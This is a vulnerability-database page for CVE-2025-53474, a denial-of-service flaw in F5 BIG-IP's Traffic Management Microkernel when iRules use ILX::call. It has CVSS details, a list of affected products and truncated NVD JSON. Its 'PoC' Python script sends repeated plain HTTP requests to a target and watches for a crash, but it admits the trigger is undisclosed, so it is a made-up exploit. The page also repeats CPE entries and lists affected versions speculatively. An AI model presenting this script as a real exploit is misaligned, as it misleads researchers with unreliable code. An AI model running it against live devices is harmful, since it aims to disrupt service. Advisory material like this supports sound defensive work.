Security Vulnerability Report
中文
CVE-2025-53474 CVSS 7.5 HIGH

CVE-2025-53474

Published: 2025-10-15 14:15:48
Last Modified: 2025-10-21 19:49:57

Description

When an iRule using an ILX::call command is configured on a virtual server, undisclosed traffic can cause the Traffic Management Microkernel (TMM) to terminate.  Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:f5:big-ip_access_policy_manager:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:f5:big-ip_advanced_firewall_manager:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:f5:big-ip_advanced_web_application_firewall:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:f5:big-ip_analytics:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:f5:big-ip_application_acceleration_manager:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:f5:big-ip_access_policy_manager:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:f5:big-ip_advanced_firewall_manager:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:f5:big-ip_advanced_web_application_firewall:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:f5:big-ip_analytics:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:f5:big-ip_application_acceleration_manager:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:f5:big-ip_access_policy_manager:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:f5:big-ip_access_policy_manager:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:f5:big-ip_advanced_firewall_manager:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:f5:big-ip_advanced_firewall_manager:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:f5:big-ip_advanced_web_application_firewall:*:*:*:*:*:*:*:* - VULNERABLE
F5 BIG-IP 17.x(低于修复版本)
F5 BIG-IP 16.x(低于修复版本)
F5 BIG-IP 15.x(低于修复版本)
F5 BIG-IP 14.x(低于修复版本)
F5 BIG-IP 13.x(低于修复版本)
F5 BIG-IP 12.x(低于修复版本)
F5 BIG-IP 11.x(低于修复版本)
F5 BIG-IQ(可能受影响)
F5 NGINX(可能受影响)
已到达EoTS(技术支持终止)的版本不再评估

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-53474 - F5 BIG-IP TMM DoS via iRule ILX::call # This PoC demonstrates triggering the TMM termination vulnerability # by sending crafted traffic to a virtual server configured with # an iRule that uses the ILX::call command. # # Note: The exact triggering conditions have not been publicly disclosed # by F5. This is a conceptual PoC based on the vulnerability description. import socket import struct import sys import time TARGET_HOST = "<BIG-IP_VIRTUAL_SERVER_IP>" TARGET_PORT = 443 # HTTPS service port on BIG-IP virtual server def craft_malicious_request(): """ Craft a network request designed to trigger the ILX::call vulnerability in F5 BIG-IP TMM. The request targets a virtual server that has an iRule configured with ILX::call command. """ # Construct a specially crafted HTTP request # The specific payload that triggers the vulnerability is undisclosed request = ( b"GET / HTTP/1.1\r\n" b"Host: " + TARGET_HOST.encode() + b"\r\n" b"User-Agent: Mozilla/5.0\r\n" b"Accept: */*\r\n" # Additional headers or payload designed to trigger ILX::call path b"X-Forwarded-For: 127.0.0.1\r\n" b"Connection: keep-alive\r\n" b"\r\n" ) return request def send_exploit_traffic(host, port, count=100): """ Send multiple crafted requests to trigger TMM termination. """ print(f"[*] Targeting {host}:{port}") print(f"[*] Sending {count} crafted requests...") for i in range(count): try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(5) sock.connect((host, port)) payload = craft_malicious_request() sock.send(payload) response = sock.recv(4096) sock.close() print(f"[+] Request {i+1}/{count} sent") time.sleep(0.1) except Exception as e: print(f"[-] Request {i+1} failed: {e}") # TMM may have terminated - connection refused or reset if "Connection refused" in str(e) or "reset" in str(e).lower(): print("[!] Possible TMM termination detected!") break print("[\n*] Exploit attempt complete.") print("[*] Check target BIG-IP TMM status for crash/restart.") if __name__ == "__main__": if len(sys.argv) > 1: TARGET_HOST = sys.argv[1] if len(sys.argv) > 2: TARGET_PORT = int(sys.argv[2]) send_exploit_traffic(TARGET_HOST, TARGET_PORT) # Example iRule that would be configured on the vulnerable virtual server: # # when CLIENT_ACCEPTED { # set result [ILX::call /Common/my_extension some_method $some_data] # } # # Mitigation: Upgrade BIG-IP to a fixed version per F5 article K44517780

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-53474", "sourceIdentifier": "[email protected]", "published": "2025-10-15T14:15:48.187", "lastModified": "2025-10-21T19:49:57.420", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "When an iRule using an ILX::call command is configured on a virtual server, undisclosed traffic can cause the Traffic Management Microkernel (TMM) to terminate.  Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-120"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:f5:big-ip_access_policy_manager:*:*:*:*:*:*:*:*", "versionStartIncluding": "15.1.0", "versionEndExcluding": "15.1.1.0.8", "matchCriteriaId": "D7FDD156-05A5-41EE-B9A0-8B0FE397E00D"}, {"vulnerable": true, "criteria": "cpe:2.3:a:f5:big-ip_advanced_firewall_manager:*:*:*:*:*:*:*:*", "versionStartIncluding": "15.1.0", "versionEndExcluding": "15.1.1.0.8", "matchCriteriaId": "FAE159B8-CD5E-4D62-A97F-3F6416E9D386"}, {"vulnerable": true, "criteria": "cpe:2.3:a:f5:big-ip_advanced_web_application_firewall:*:*:*:*:*:*:*:*", "versionStartIncluding": "15.1.0", "versionEndExcluding": "15.1.1.0.8", "matchCriteriaId": "EB04375C-C4FD-4CC6-9CCC-FD19DFB8C344"}, {"vulnerable": true, "criteria": "cpe:2.3:a:f5:big-ip_analytics:*:*:*:*:*:*:*:*", "versionStartIncluding": "15.1.0", "versionEndExcluding": "15.1.1.0.8", "matchCriteriaId": "CB4D8ED4-E6F7-42AF-9DB7-1EB932CFCBD8"}, {"vulnerable": true, "criteria": "cpe:2.3:a:f5:big-ip_application_acceleration_manager:*:*:*:*:*:*:*:*", "versionStartIncluding": "15.1.0", "versionEndExcluding": "15.1.1.0.8", "matchCriteriaId": "A0D0219C-3B6F-4477-A84A-1E6ACBC7FEA1"}, {"vulnerable": true, "criteria": "cpe:2.3:a:f5:big-ip_application_security_manager:*:*:*:*:*:*:*:*", "versionStartIncluding": "15.1.0", "versionEndExcluding": "15.1.1.0.8", "matchCriteriaId": "5A1F1CB5-AE8E-4754-9A53-AF450271F799"}, {"vulnerable": true, "criteria": "cpe:2.3:a:f5:big-ip_application_visibility_and_reporting:*:*:*:*:*:*:*:*", "versionStartIncluding": "15.1.0", "versionEndExcluding": "15.1.1.0.8", "matchCriteriaId": "C287055E-37CF-4C29-817F-C2404C7CA8B3"}, {"vulnerable": true, "criteria": "cpe:2.3:a:f5:big-ip_automation_toolchain:*:*:*:*:*:*:*:*", "versionStartIncluding": "15.1.0", "versionEndExcluding": "15.1.1.0.8", "matchCriteriaId": "C79D2037-CF3E-42F0-B7D3-9873FA030276"}, {"vulnerable": true, "criteria": "cpe:2.3:a:f5:big-ip_carrier-grade_nat:*:*:*:*:*:*:*:*", "versionStartIncluding": "15.1.0", "versionEndExcluding": "15.1.1.0.8", "matchCriteriaId": "95A9D35D-6ED7-4FAA-A86E-09A49BBDF678"}, {"vulnerable": true, "criteria": "cpe:2.3:a:f5:big-ip_container_ingress_services:*:*:*:*:*:*:*:*", "versi ... (truncated)